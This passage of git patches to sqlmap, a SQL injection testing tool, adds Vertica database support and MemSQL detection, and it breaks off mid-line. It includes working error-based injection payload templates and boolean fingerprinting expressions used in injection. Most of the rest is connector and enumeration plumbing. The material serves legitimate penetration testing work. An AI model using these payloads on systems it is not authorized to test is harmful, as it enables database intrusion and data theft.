b/plugins/dbms/mysql/fingerprint.py index 228ba311a..367b5969e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -17,6 +17,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms @@ -175,6 +176,13 @@ class Fingerprint(GenericFingerprint): result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") + if not result: + # Note: MemSQL doesn't support SESSION_USER() + result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") + + if result: + hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) + if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) @@ -182,7 +190,7 @@ class Fingerprint(GenericFingerprint): return False if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: - hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "") + hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and FORK.MARIADB or "") # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 From f0f1cf1b21601ffb9053e1c41f9b8babd0d6afe8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 Jan 2020 11:18:34 +0100 Subject: [PATCH 091/159] Minor patch --- data/xml/payloads/inline_query.xml | 3 ++- lib/core/settings.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 3 ++- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index b49d53834..4d09edb5d 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -74,7 +74,8 @@ 3 (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) + + (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] diff --git a/lib/core/settings.py b/lib/core/settings.py index e4d2fe0d8..214cba3bc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.31" +VERSION = "1.4.1.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 853d50881..a2dec6fc5 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -75,7 +75,8 @@ class Fingerprint(GenericFingerprint): infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL") + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PGSQL From 5ab2dfd0d926fff98132a4fdc01f59e0ab952a4a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 Jan 2020 15:40:59 +0100 Subject: [PATCH 092/159] Adding support for Vertica --- data/xml/errors.xml | 9 +++ data/xml/payloads/error_based.xml | 38 ++++++++++ data/xml/queries.xml | 77 ++++++++++++++++++++ lib/controller/handler.py | 4 ++ lib/core/agent.py | 4 +- lib/core/common.py | 4 +- lib/core/dicts.py | 2 + lib/core/dump.py | 2 +- lib/core/enums.py | 2 + lib/core/settings.py | 10 ++- lib/request/inject.py | 2 +- lib/utils/deps.py | 2 + plugins/dbms/derby/enumeration.py | 2 +- plugins/dbms/vertica/__init__.py | 30 ++++++++ plugins/dbms/vertica/connector.py | 59 +++++++++++++++ plugins/dbms/vertica/enumeration.py | 16 +++++ plugins/dbms/vertica/filesystem.py | 11 +++ plugins/dbms/vertica/fingerprint.py | 107 ++++++++++++++++++++++++++++ plugins/dbms/vertica/syntax.py | 22 ++++++ plugins/dbms/vertica/takeover.py | 15 ++++ plugins/generic/databases.py | 14 ++-- plugins/generic/entries.py | 4 +- plugins/generic/users.py | 4 +- 23 files changed, 421 insertions(+), 19 deletions(-) create mode 100644 plugins/dbms/vertica/__init__.py create mode 100644 plugins/dbms/vertica/connector.py create mode 100644 plugins/dbms/vertica/enumeration.py create mode 100644 plugins/dbms/vertica/filesystem.py create mode 100644 plugins/dbms/vertica/fingerprint.py create mode 100644 plugins/dbms/vertica/syntax.py create mode 100644 plugins/dbms/vertica/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index ae17201d7..1fcf85ea1 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -187,4 +187,13 @@ + + + + + + + + +
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f4449c483..fe62bb6f8 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -742,6 +742,44 @@ MonetDB + + + Vertica AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1,8,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + Vertica OR error-based - WHERE or HAVING clause + 2 + 3 + 3 + 1,8,9 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 03e5489d3..b26218ae5 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -26,6 +26,7 @@ from lib.core.settings import H2_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MONETDB_ALIASES from lib.core.settings import DERBY_ALIASES +from lib.core.settings import VERTICA_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap @@ -58,6 +59,8 @@ from plugins.dbms.monetdb import MonetDBMap from plugins.dbms.monetdb.connector import Connector as MonetDBConn from plugins.dbms.derby import DerbyMap from plugins.dbms.derby.connector import Connector as DerbyConn +from plugins.dbms.vertica import VerticaMap +from plugins.dbms.vertica.connector import Connector as VerticaConn def setHandler(): """ @@ -81,6 +84,7 @@ def setHandler(): (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), + (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index 0b66e728d..719b6758a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -656,7 +656,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -945,7 +945,7 @@ class Agent(object): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index 761f70841..ec8d21676 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4069,7 +4069,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() @@ -4107,7 +4107,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index f02126aac..821df4b23 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -26,6 +26,7 @@ from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SYBASE_ALIASES +from lib.core.settings import VERTICA_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -202,6 +203,7 @@ DBMS_DICT = { DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), + DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), } FROM_DUMMY_TABLE = { diff --git a/lib/core/dump.py b/lib/core/dump.py index 936c226ae..2c19030dc 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -166,7 +166,7 @@ class Dump(object): def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index 6ed406fb9..31734f24c 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -47,6 +47,7 @@ class DBMS(object): INFORMIX = "Informix" MONETDB = "MonetDB" DERBY = "Apache Derby" + VERTICA = "Vertica" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -64,6 +65,7 @@ class DBMS_DIRECTORY_NAME(object): INFORMIX = "informix" MONETDB = "monetdb" DERBY = "derby" + VERTICA = "vertica" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index 214cba3bc..30f4719fd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.32" +VERSION = "1.4.1.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -260,6 +260,7 @@ H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") +VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql") @@ -276,19 +277,22 @@ H2_ALIASES = ("h2",) INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") MONETDB_ALIASES = ("monet", "monetdb",) DERBY_ALIASES = ("derby", "apache derby",) +VERTICA_ALIASES = ("vertica",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) +# Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +VERTICA_DEFAULT_SCHEMA = "public" # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") diff --git a/lib/request/inject.py b/lib/request/inject.py index 63dcbc168..0393d0327 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -105,7 +105,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA): alias = randomStr(lowercase=True, seed=hash(expression)) expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example expression += " AS %s" % alias diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 8583e77a6..006bc2e5e 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -50,6 +50,8 @@ def checkDependencies(): __import__("pymonetdb") elif dbmsName == DBMS.DERBY: __import__("drda") + elif dbmsName == DBMS.VERTICA: + __import__("vertica_python") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index 4a64c197c..91a5e0c5d 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -11,7 +11,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): - warnMsg = "on MonetDB it is not possible to enumerate password hashes" + warnMsg = "on Apache Derby it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py new file mode 100644 index 000000000..f116da6f6 --- /dev/null +++ b/plugins/dbms/vertica/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VERTICA_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.vertica.enumeration import Enumeration +from plugins.dbms.vertica.filesystem import Filesystem +from plugins.dbms.vertica.fingerprint import Fingerprint +from plugins.dbms.vertica.syntax import Syntax +from plugins.dbms.vertica.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Vertica methods + """ + + def __init__(self): + self.excludeDbsList = VERTICA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VERTICA] = Syntax.escape diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py new file mode 100644 index 000000000..3402234f7 --- /dev/null +++ b/plugins/dbms/vertica/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import vertica_python +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/vertica/vertica-python + User guide: https://github.com/vertica/vertica-python/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout) + except vertica_python.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except vertica_python.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except vertica_python.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py new file mode 100644 index 000000000..22f5a7041 --- /dev/null +++ b/plugins/dbms/vertica/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getRoles(self, *args, **kwargs): + warnMsg = "on Vertica it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/vertica/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py new file mode 100644 index 000000000..95ec9d188 --- /dev/null +++ b/plugins/dbms/vertica/fingerprint.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import OS +from lib.core.session import setDbms +from lib.core.settings import VERTICA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VERTICA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VERTICA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): + setDbms(DBMS.VERTICA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.VERTICA + logger.info(infoMsg) + + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VERTICA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warn(warnMsg) + + return False + + setDbms(DBMS.VERTICA) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.VERTICA + logger.info(infoMsg) + + if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"): + Backend.setVersion(">= 9.0") + else: + Backend.setVersion("< 9.0") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py new file mode 100644 index 000000000..ba25a9b6e --- /dev/null +++ b/plugins/dbms/vertica/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True + """ + + def escaper(value): + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py new file mode 100644 index 000000000..432fa6f78 --- /dev/null +++ b/plugins/dbms/vertica/takeover.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 1ad769275..31be6fbae 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -48,6 +48,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject from lib.techniques.union.use import unionUse from lib.utils.brute import columnExists @@ -77,7 +78,10 @@ class Databases(object): if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): + kb.data.currentDb = VERTICA_DEFAULT_SCHEMA + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -581,7 +585,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): + if 